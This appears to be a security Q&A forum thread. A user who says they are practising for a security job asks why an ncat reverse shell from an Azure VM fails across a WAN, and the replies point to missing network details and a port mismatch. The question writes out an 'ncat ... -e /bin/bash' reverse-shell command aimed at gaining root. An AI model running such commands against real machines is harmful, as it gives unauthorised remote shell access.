I created an azure VM and I configured a ngrok server to make my localhost accessible from internet and I put a VPN to VM in order to simulate a wan attack.

What I want is to set a TCP connection to VM port and create a reverse shell to gain root access. In order to fulfil this task, I used the command: 

ncat 200..225 8443 -e /bin/bash -v

 and his output was: Ncat: Connected to 200.225:443.

But when I tried to listen the conection to open the shell with ncat -l 8443 -v, just stays listening and doesn't establish connection:

Ncat: Version 7.80 ( https://nmap.org/ncat ) 
Ncat: Listening on:::8443 
Ncat: Listening on

I made this test when both machines were in the same LAN, and it works fine. But it didn't work in wan targets.

So my question: Do you know how ncat can establish a connection outside of wan and set reverse shells?

  • This is the same as your previous posts. This is ultimately a networking question.
    – schroeder
    Jul 7, 2022 at 19:18
  • I was too hasty in migrating: there is not enough information here to answer, just like all your other posts on this matter. What is the VPN config? How is the VM configured to connect back to your machine? You need to outline all the networking details. You keep skipping all that whenever you post.
    – schroeder
    Jul 7, 2022 at 21:02
  • I just installed ngrok to my vm in order to make the localhost accessible. I get the vpn out and settle another router to simulate a wan target. Really is not a big deal. I'm applying for a security job, and I need practice and start to thinking how hackers thinks. That's it.
    – Turing
    Jul 8, 2022 at 13:47
  • This is not a "hacker" thing. this is a pure networking thing. You need to please add in all the details I have been asking for for weeks.
    – schroeder
    Jul 8, 2022 at 13:51
  • This is what you have written: on your local machine, you run ncat 200..225 443 -e /bin/bash -v and then on your local machine, you run a listener, but nowhere do you describe how the remote machine connects back to your local machine. You need to go step by step through how you set things up, what is run where, and how it all connects. You have not provided this for weeks despite my asking for it.
    – schroeder
    Jul 8, 2022 at 14:10

1 Answer 1


You have netcat listening on port 8443

You are connecting to port 443

These are different ports.

  • Thanks for the answer! No it doesn't. Just I wrong edit the post.The problem is I settle down connection with the wan target, and suceeed. But when I put ncat listen in my 8443 port, couldn't establish comunication. I know it must to pass comunicaction from my public to private host, and this accomplish with a router port forwading. Please, If you know how can I set the Shell, please tell me.
    – Turing
    Jul 8, 2022 at 13:41
  • 1
    If you have provided incorrect details in your question, then please edit the question to make corrections.
    – schroeder
    Jul 8, 2022 at 14:11
  • Until you update your question, this is the correct answer. I would suggest you re-write the question and do your initial netcat testing on for both listener and reverse shell. This will help us pinpoint what is going on. Jul 8, 2022 at 19:01

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .